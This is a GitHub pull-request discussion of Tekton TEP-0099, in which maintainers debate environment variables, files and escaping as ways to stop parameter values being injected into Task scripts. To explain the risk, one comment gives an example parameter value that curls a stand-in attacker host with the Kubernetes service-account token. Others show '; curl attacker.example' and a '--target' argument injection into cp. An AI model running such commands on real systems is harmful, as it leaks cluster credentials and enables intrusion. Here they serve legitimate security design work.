-
Notifications
You must be signed in to change notification settings - Fork 220
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
TEP-0099: Parameters
in Script
#596
Conversation
/kind tep |
@jerop: GitHub didn't allow me to request PR reviews from the following users: coryrc, mogsie, popcor255. Note that only tektoncd members and repo collaborators can review this PR, and authors cannot review their own PRs. In response to this:
Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. |
teps/0099-parameters-in-script.md
Outdated
- name: foo | ||
image: myimage | ||
script: | | ||
echo $(params.bar.env) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I really like this approach because of its explicitness and I like the other alternative for projecting into the filesystem as well (particularly if we take that approach for the result refs / param files idea from TEP-0086!).
So one more alternative might be to combine these ideas:
- expand
$(params.bar.env)
intoPARAM_BAR
. This instructs Tekton to put the param value into an env var on that Step and allows anyscript
lang to use it:
shell:echo ${$(params.bar.env)}
python:print os.getenv("$(params.bar.env)")
node:console.log(process.env.$(params.bar.env))
- expand
$(params.bar.path)
into/tekton/params/bar
. This instructs Tekton to put param value into file for that Step and similarly makes it available to any language ofscript
:
shell:cat $(params.bar.path)
python:with open("$(params.bar.path)") as file: # ...
node:fs.readFileAsync($(params.bar.path), 'utf8', (err, data) => {})
|
||
1. Is it sufficient to address `Parameters` in `Script` only, or do we need to | ||
consider all variables that can be substituted in `Script`? | ||
1. Which alternative do we prefer to go forward with? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I definitely prefer the approach of projecting into env or filesystem rather than shell-escaping the value. Shell-escaping feels language-specific while script fields are language agnostic. I also like the explicitness of using $(params.foo.env)
or $(params.foo.path)
in the script over implicit projections.
Exposing params exclusively via the filesystem makes the most sense to me if we decide to take that route in TEP-0086 for populating params from a sidecar.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Agreed with concerns about shell-escaping. My preferred approach would be to disallow interpolation in scripts, and to have an opt-out feature that makes parameters available as env vars (as proposed in alternative 1).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've mentioned my objections to shell escaping, and think it's a non-starter. To me, projecting to a file system would be nice-to-have, as some parameters might contain (important) newlines, special characters and so on. However, having to read in each parameter to a variable can be tedious and verbose, and easily fumbled, so I would much much prefer the automatic environment variable mapping as the default.
params:
- name: branch
description: The name of a branch (no whitespace or trailing newline allowed)
type: string
# projection: environment # the default perhaps?
- name: manifest
description: A yaml manifest (that should end with a trailing newline)
type: string
projection: file # or something.
This would supply
- branch as the PARAM_BRANCH environment variable
- manifest as /tekton/params/manifest, and its path provided as $(params.manifest.path) perhaps.
The "projection" could in future be used for an as-of-yet unused feature: the script's standard input! e.g. projection: stdin
= pass a parameter to the stdin of the command. That could allow you to have sed
or jq
as the shell, to do simple transformations of data as tasks. It would of course be awesome if that is paired with the script's stdout being piped to a result.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The only issue I see with this proposal is that it's backwards-incompatible in a different way: suddenly every param is exposed as an env var or file to every step in the task. Right now only those steps that explicitly include the param receive its value.
I'll update the alternatives to include this one as well, thanks @mogsie
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That is actually a good point. When I define multi-step tasks, I generally want some parameters to go to some steps. I often give them different names based on their role. One step might use a parameter in one way, and another step in a different way. So maybe explicit env: name + value
is best... It removes the problem of naming conflicts, which step gets which parameter, and the "implicitness" of magically set environment variables.
|
||
## Open Questions | ||
|
||
1. Is it sufficient to address `Parameters` in `Script` only, or do we need to |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looking at the list of variables available to Tasks the majority should be filtered through various forms of escaping. However I still feel uneasy about any of those values being injected directly into script
because we don't have an audit of the kinds of escaping taking place across the codebase wrt those vars. I'd be happy to take this on if we decide to move to implementable in some form here but decide to only limit the scope to params
right now.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
imho as @sbwsg it might be for all things that can be interpolate in the script
.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IMHO interpolating simple things like paths and names of namespaces and so on should be fairly safe. The value of context.taskRun.Namespace
will never be --target=/hack-me
or ; curl attacker.example
. The only real attack vector is that of parameters that can contain arbitrary data.
teps/0099-parameters-in-script.md
Outdated
that use `$(params.X)` syntax in `script` then we should continue supporting | ||
that usage in v1beta1 resources. Ideally, Tekton Pipelines would warn the user | ||
about it somehow. | ||
1. **Backwards incompatible in v1**. Starting with v1, Tekton should strive to |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
nit: I would rephrase this slightly-- the goal isn't to be backwards incompatible in v1, it's to be secure by default and backwards incompatibility is unfortunately necessary
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As stated above, I am not sure why we "assume" we can't fix this without being backward incompatible. If we disallow parameter variable interpolation in script
, of course we will, but is it the only way to do it ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You're totally right @lbernick : being backwards incompatible is not the end goal here. We'll update this bit.
@vdemeester Maybe we could define backwards compatibility more clearly here?
The TEP is treating "Backwards compatible" to mean we continue to support users injecting executable statements from params into scripts using the current param syntax. E.g. continue to support the code injection use-case in the git-clone
catalog task that spurred some of this discussion.
I'm not sure we can have it both ways though. Today we support the direct interpolation of param values into script bodies as executable statements. Changing that is de facto backwards incompatible I think. As soon as we treat param values as something to sanitize then it necessarily means those values will be escaped before insertion (rendered non-executable), stringified as env vars, put in a file on disk, or something else.
teps/0099-parameters-in-script.md
Outdated
in `script` fields should be treated as an error. Newly submitted (or resolved) | ||
`Tasks` with this error should fail validation. Existing `Tasks` that include this | ||
error should be prevented from executing. | ||
1. **Provide an escape hatch in v1**. If an operator decides that they want to |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When you say "operator" do you mean the operator of a cluster has the choice of whether to permit interpolation? Do you know why users might want this? (Maybe they are trying to use a task they don't own that has params embedded in a script-- but ideally as you mentioned we should be able to automate updating Tasks, and all catalog tasks should be updated.)
I like that allowing this behavior to be configurable by cluster operators doesn't force everyone to audit catalog Tasks for security, but I'm not sure why someone might need it.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah, that's the definition of "operator" we had in mind.
The intention was to support users who have legacy Tasks that haven't been updated to access params in whatever way we decide here. Automation should be able to fix 90% of cases I hope and validation could disallow the rest, but the idea was to give operators that extra wiggle room if they really really don't have the bandwidth to update an existing Task that's vital to some part of their infra.
I definitely don't have any user reports to hand requesting this kind of support though.
This approach is also under discussion in the context of changing the way `Result` | ||
values are stored in [TEP-0086][tep-0086-alt]. In that proposal a sidecar is | ||
responsible for fetching `Results` from previous `Tasks` and writing them to | ||
a location on disk for use as `Parameters`. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you elaborate on why this is safer than the current behavior? Are results safe to use in scripts, while params are (currently) not? How are the parameter values in scripts replaced with their values in this proposal?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Params are interpolated directly into the script before it's passed to the container to run. Any value passed to a param is inserted into the script verbatim and executed as if the original script included it - the controller doesn't touch the string content and the container itself doesn't know any different. Plucking out one of the examples from the TEP:
steps:
- name: foo
image: myimage
script: |
echo $(params.bar)
If a TaskRun passes the value like this:
params:
- name: bar
value: $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))
... then the script that the container executes is:
echo $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks! What I'm confused about is why writing the value of the parameter to the filesystem prevents this problem. Based on the sample scripts provided, it looks like Tekton is still going to substitute the parameter value into the script. I may be misunderstanding the proposal here, but it sounds like the parameter values are being copied to a different location before being substituted into the script. Why would that prevent injection attacks?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ah I see! I think the intention here was to inject the path to the file instead of the content of the file itself.
The doc says:
However, instead of exposing the file path, we would hide it behind a variable (possibly reusing
$(params.<name>)
.
I believe this means that instead of having the user type out the literal path to the param file, we'd use a variable to give them the path instead. So $(params.foo)
would become /tekton/params/foo
. Variables are preferable rather than hard-codes paths so that, as much as possible, specific paths don't get forever burned in to an API contract.
So the safety aspect comes from the fact that, in order to inject code, a script
would first have to explicitly choose to execute a param from a file, rather than having the content of that param in-lined into the script
field itself.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks, this makes a lot more sense! The example might be more clear if the output script is changed to reflect the fact that it's now reading from a file, e.g. cat $(params.foo)
. This looks like it would be much more challenging to automate.
teps/0099-parameters-in-script.md
Outdated
##### Discussion | ||
|
||
This approach mutates the specification, but it is something we're already doing | ||
with implicit `Parameters` per [TEP-0023][tep-0023]. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Will shell escaping prevent all shell injection vulnerabilities? Our catalog guidance says that "no amount of escaping will be air-tight".
This sounds safer than current behavior but it seems like it will still lead to users having to audit Tasks for security.
/assign |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
- The problem of
script
is the obvious one but injection is not limited to it (although harder) - Did we look at a way to handle this in a backward compatible way ? We control what we write as part of the script, so we could "mutate" the script somehow ? (thinking about it, it sounds hard to do in a lanuage-agnostic way)
- How much is
script
used ? What for (aka how could it be used differently in which case) ? How often is there ashebang
and thus most likely a different language used ? Depending on the answer, we could look into other alternative (we know a lot of things if there is no shebang for example, so it's "relatively easy" to escape things, …).
The trick here is, if we continue allowing Parameter
interpolation in script
and do not change anything, we put the burden (and verbosity) on the author of the Task
to make them safe. Or we expose the user of the Task
to possible malicious injection.
As linked in that document, https://github.com/tektoncd/plumbing/pull/977/files (and other PRs) gives some example of the use of script and what is required to "sanitize" Task
with script
today. The current "workaround" is very verbose and I think I tend to like one of the alternative with the .env
at the end, even though it might make this "kind-of security" opt-in.
teps/0099-parameters-in-script.md
Outdated
To solve the above problems, this TEP aims to: | ||
- Introduce a safe and reliable way to access `Parameter` variables from `Scripts`, | ||
and update the documentation and *Tekton Catalog* with the new approach. | ||
- Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in | ||
*Tekton Pipelines V1 API*. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We want things to be safe, I am not sure we want to "disallow" Parameter
variables in sciprt
if we can find a way to make it safely right ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'll update the wording here to something like this:
- By default in v1, prevent implicit interpolatin of param values into executable
contexts unless we can validate that doing so is safe.
To audit whether a `Task` is at risk of code injection, a user would need | ||
to determine two things: first whether that `Task` includes a `Parameter` | ||
directly referenced from a `Script` and, if it does, whether that | ||
`Parameter` was ever populated using untrusted input. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think the use of script
highlight this problem but I don't think it's limited to it, right ? You could definitely still use Parameter
to inject malicious code without script (and with env var), it's just harder 🙃
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah I think the line we want to draw is between "this is the default for param values" and "this is possible with param values". At the moment execution of param values as script statements is the default.
teps/0099-parameters-in-script.md
Outdated
Disallow interpolating `Parameter` variables directly into the body of a `Script` | ||
by *Tekton Pipelines V1* release to be secure by default. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I agree with 4.
but not necessarily with this. Disallowing Parameter
variable interpolation in srcipt is one way to achieve 4.
, it might not be the only way.
teps/0099-parameters-in-script.md
Outdated
that use `$(params.X)` syntax in `script` then we should continue supporting | ||
that usage in v1beta1 resources. Ideally, Tekton Pipelines would warn the user | ||
about it somehow. | ||
1. **Backwards incompatible in v1**. Starting with v1, Tekton should strive to |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As stated above, I am not sure why we "assume" we can't fix this without being backward incompatible. If we disallow parameter variable interpolation in script
, of course we will, but is it the only way to do it ?
teps/0099-parameters-in-script.md
Outdated
|
||
##### Discussion | ||
|
||
This approach mutates the specification, but it is something we're already doing |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Isn't this a "user" mutation (aka that's up to the user to add the .shell-escaped
) ?
|
||
## Open Questions | ||
|
||
1. Is it sufficient to address `Parameters` in `Script` only, or do we need to |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
imho as @sbwsg it might be for all things that can be interpolate in the script
.
Just to put some numbers to this for the catalog: we have ~128 tasks. 76 use a catalog task
|
Count | Shell |
---|---|
31 | Tekton's Default (sh ) |
19 | bash , /usr/bin/env bash , etc... |
14 | python or python3 or /usr/libexec/platform-python etc... |
11 | sh , /usr/bin/env sh etc... |
1 | /usr/bin/env pwsh |
> also lead to confusion among users, which we should design for. | ||
|
||
Users need a way to safely and reliably substitute `Parameters` in `Scripts` in `Steps` | ||
of their `Tasks`. This would make it easier to use Tekton without learning advanced topics, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just a side note. Yes, it is a nice goal to avoid having to understand "advanced topics", but I think when writing any language, there must be some fundamental understanding. Even a simple script like cp $PARAM_SOURCE $PARAM_TARGET
is not good enough; you must know about how whitespace is treated. But cp "$PARAM_SOURCE" "$PARAM_TARGET"
isn't good either, because if a source file name is called --foo
for whatever reason, the command fails.
An attack vector here is setting $PARAM_SOURCE
to --target=/somewhere
— so that the script ends up being:
cp --target=/somewhere target
which ends up copying target to /somewhere. Imagine an attacker updating a tekton result, if you can guess the path of a result, causing tasks further down the line to misbehave.
(FWIW the correct way to copy is therefore cp -- "$PARAM_SOURCE" "$PARAM_TARGET"
).
This is just one of the numerous common bash pitfalls.
The same problem is apparent in any language (the guidance I wrote showed how to break out of a python string / heredoc; interpolating strings into source code and then handing that source code over to a parser securely is an incredibly difficult problem to solve. This is why we have things like arguments, environment variables, stored procedures for SQL, and so on; to avoid problems that arise when escaping.
[TEP-0023][tep-0023]. | ||
|
||
Note: while this would be safer than Tekton Pipeline's existing | ||
behaviour our own catalog guidance claims that "no amount of escaping |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I wrote this part of the catalog guidance, and it is there mainly because the premise of escaping is flawed; when the result will be parsed from scratch by the interpreter, e.g. bash or python. I actually think it's impossible to create an escaping solution that "just works" in all situations. e.g. if I have the following script
#!/bin/sh
echo $(params.bar)
echo "$(params.bar)"
echo '$(params.bar)'
cat <<EOF
$(params.bar)
EOF
cat <<'EOF'
$(params.bar)
EOF
here there are five different escaping techniques; the first one needs to be escaped, the second one needs to protect against "
and $
syntax, the third against '
, the last two need additionally to somehow escape \nEOF
. It just gets extremely complicated, and will undoubtedly be the cause of much frustration.
teps/0099-parameters-in-script.md
Outdated
script: | | ||
# note here that params.bar.env must be double-wrapped | ||
# once for tekton in $() and again for shell ${} | ||
echo ${$(params.bar.env)} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should this just be
echo $(params.bar.env)
and it will expand to
echo ${PARAM_BAR}
(if not, this alternative is no different than the next).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good catch, i started editing this one and then mid-stream added it as a new alternative instead without backing out these changes. Will fix 👍
We have projected `Parameters` as environment variables in the `git-clone` Task in the | ||
Catalog and in our own plumbing repository. We can use this approach, and simplify the | ||
syntax by implicitly projecting `Parameters` as environment variables in `Steps`. | ||
The environment variable should be prefixed with `PARAM_` to make it clear and predictable. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
One challenge with this is that I believe that parameter names are quite permissive, and allow lots of punctuation marks and even whitespace. Coming up with a solid mapping from parameter name to environment variable name (or specifying what happens if there is a collission, like rejecting the task / task run) is important.
teps/0099-parameters-in-script.md
Outdated
script: | | ||
# note: echo becomes cat because we now print | ||
# the contents of a file | ||
cat $(params.bar) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The reality is that these parameters will not be used in simple "echos". They will be used in calculations and commands. It's a bit strange that all the examples are the "echo params.bar" example that I used when writing the catalog guideline against interpolation.
These parameters will almost always be used in other commands, e.g. cloning a repo, checking out a branch, setting author names, and so on. So perhaps the example ought to be slightly more real-world?
git checkout "$(params.branch)"
Because the more interesting question is what that would become, especially if the repo is now a file. We would need to read the file in as a variable in bash, something that is not the easiest thing to do and comes with its own shell nuances. Especially when it comes to the trailing linebreaks.
foo=$(cat /tekton/params/in/foo) # removes all trailing line-breaks
IFS='' read -d -r bar /tekton/params/in/bar # keeps any trailing line-breaks
While removing a trailing linebreak characters is often the right thing — sometimes it is not, and knowing when to do what is important. Since the results have no special treatment of trailing whitespace (a good thing IMHO), maybe tekton should keep this stance. I also mentioned this briefly in the guidelines, but it might be that it it should be expanded upon.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I hear you on the real-world examples and will update the content here to use git clone
as you suggest. Just want to respond to one thing you mentioned:
While removing a trailing linebreak characters is often the right thing — sometimes it is not, and knowing when to do what is important.
Our aim with this TEP is not to "fix" bash scripting, or even make it easier really. As you mentioned elsewhere we have to lean a little bit on script authors to be knowledgeable about the language they're using.
We're really looking for something like an "as-close-as-possible-to-existing-behaviour" solution that allows us to stop injecting content into executable contexts by default. I've taken the read
-based approach you described in the Alternatives of this doc so that we continue respecting any leading and trailing whitespace, similar to if the content of the param were injected directly.
Your example elsewhere of prepared statements in SQL is spot on for the intentions behind this TEP I think!
|
||
## Open Questions | ||
|
||
1. Is it sufficient to address `Parameters` in `Script` only, or do we need to |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IMHO interpolating simple things like paths and names of namespaces and so on should be fairly safe. The value of context.taskRun.Namespace
will never be --target=/hack-me
or ; curl attacker.example
. The only real attack vector is that of parameters that can contain arbitrary data.
|
||
1. Is it sufficient to address `Parameters` in `Script` only, or do we need to | ||
consider all variables that can be substituted in `Script`? | ||
1. Which alternative do we prefer to go forward with? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've mentioned my objections to shell escaping, and think it's a non-starter. To me, projecting to a file system would be nice-to-have, as some parameters might contain (important) newlines, special characters and so on. However, having to read in each parameter to a variable can be tedious and verbose, and easily fumbled, so I would much much prefer the automatic environment variable mapping as the default.
params:
- name: branch
description: The name of a branch (no whitespace or trailing newline allowed)
type: string
# projection: environment # the default perhaps?
- name: manifest
description: A yaml manifest (that should end with a trailing newline)
type: string
projection: file # or something.
This would supply
- branch as the PARAM_BRANCH environment variable
- manifest as /tekton/params/manifest, and its path provided as $(params.manifest.path) perhaps.
The "projection" could in future be used for an as-of-yet unused feature: the script's standard input! e.g. projection: stdin
= pass a parameter to the stdin of the command. That could allow you to have sed
or jq
as the shell, to do simple transformations of data as tasks. It would of course be awesome if that is paired with the script's stdout being piped to a result.
/assign @skaegi |
/assign |
/assign |
[APPROVALNOTIFIER] This PR is NOT APPROVED This pull-request has been approved by: The full list of commands accepted by this bot can be found here.
Needs approval from an approver in each of these files:
Approvers can indicate their approval by writing |
This PR adds the problem statement for the TEP and identifies possible solutions. The proposal will be added in a subsequent PR after discussions of alternatives. Using `Parameter` variables directly in `script` blocks in `Tasks` is a footgun in two ways: - **Security**: It is easy for a `Task` _author_ to accidentally introduce a vector for code injection and, by contrast, difficult for a `Task` _user_ to verify that such an injection can't or hasn't taken place. - **Reliability**: It is easy for a `Task` _user_ to accidentally pass in a `Parameter` with a character that would make the `Script` invalid and fail the `Task`, making the `Task` extremely fragile. To solve the above problems, this TEP aims to: - Introduce a safe and reliable way to access `Parameter` variables from `Scripts`, and update the documentation and *Tekton Catalog* with the new approach. - Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in *Tekton Pipelines V1 API*. References: * Issues: * tektoncd/pipeline#3226 * tektoncd/triggers#675 * tektoncd/plumbing#971 * [Catalog Guidance to Avoid Using `Parameters` in `Script` Blocks](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments) * Tekton Enhancement Proposals: * [TEP-0017: Shell-Escaped Parameters](tektoncd#208) * [TEP-0023: Implicit Parameters](https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md) Co-authored-by: Scott Seaward <[email protected]>
Great! I wonder what it might look like if some form of projection would make sense at the step level, but it would almost be identical to just plain
vs
The former could perhaps be extended to support an expression language like cel, to do simple string manipulation at projection time:
This is of course our of scope, I'm just highlighting the flexibility in defining a separate projection over |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Some quick feedback from me: I discussed this offline with @jerop as well but my overall thoughts are:
- Need to make sure this makes sense for multiple languages (echoing feedback from @mogsie)
- I'd like to see more options that don't involve CRD mutation (and I'd like to avoid mutating our 'authoring time' types as much as possible - Params copied in all steps in saved pipeline in alpha mode on Openshift with tekton 0.29+ pipeline#4388 )
- I wanted to confirm that using environment variables in bash scripts definitely prevents code injection (and i think it does, looking at https://mywiki.wooledge.org/BashProgramming/05#Environment_variables ? https://www.redhat.com/en/blog/bash-specially-crafted-environment-variables-code-injection-attack seems to imply as well that this is the expected behavior and acting otherwise is a vulnerability)
- A possible alternative (and/or complimentary feature) for this would be to add variable validation - i.e. limiting params to only support the structure that the Task expects (e.g. not allowing spaces etc) - which @skaegi mentioned in TEP-0017 Propose creating shell-escaped parameters #208 (comment)
@jerop: PR needs rebase. Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. |
hoping to revisit someday when I have the capacity, closing for now |
This PR adds the problem statement for the TEP and identifies possible solutions. The proposal will be added in a subsequent PR after discussions of alternatives. Using `Parameter` variables directly in `script` blocks in `Tasks` is a footgun in two ways: - **Security**: It is easy for a `Task` _author_ to accidentally introduce a vector for code injection and, by contrast, difficult for a `Task` _user_ to verify that such an injection can't or hasn't taken place. - **Reliability**: It is easy for a `Task` _user_ to accidentally pass in a `Parameter` with a character that would make the `Script` invalid and fail the `Task`, making the `Task` extremely fragile. To solve the above problems, this TEP aims to: - Introduce a safe and reliable way to access `Parameter` variables from `Scripts`, and update the documentation and *Tekton Catalog* with the new approach. - Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in *Tekton Pipelines V1 API*. References: * Issues: * tektoncd/pipeline#3226 * tektoncd/triggers#675 * tektoncd/plumbing#971 * [Catalog Guidance to Avoid Using `Parameters` in `Script` Blocks](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments) * Tekton Enhancement Proposals: * [TEP-0017: Shell-Escaped Parameters](#208) * [TEP-0023: Implicit Parameters](https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md) * [TEP-0099: Parameters in Script](#596) Co-authored-by: Jerop Kipruto <[email protected]> Co-authored-by: Scott Seaward <[email protected]>
This PR adds the problem statement for the TEP and identifies possible solutions.
The proposal will be added in a subsequent PR after discussions of alternatives.
Using
Parameter
variables directly inscript
blocks inTasks
is a footgunin two ways:
Task
author to accidentally introduce a vectorfor code injection and, by contrast, difficult for a
Task
user to verify thatsuch an injection can't or hasn't taken place.
Task
user to accidentally pass in aParameter
with a character that would make the
Script
invalid and fail theTask
, makingthe
Task
extremely fragile.To solve the above problems, this TEP aims to:
Parameter
variables fromScripts
,and update the documentation and Tekton Catalog with the new approach.
Parameter
variables directly inscript
blocks ofSteps
inTekton Pipelines V1 API.
References:
script:
pipeline#3226Environment Variables
instead ofParameters
inScript
plumbing#971Parameters
inScript
BlocksCo-authored-by: Scott Seaward [email protected]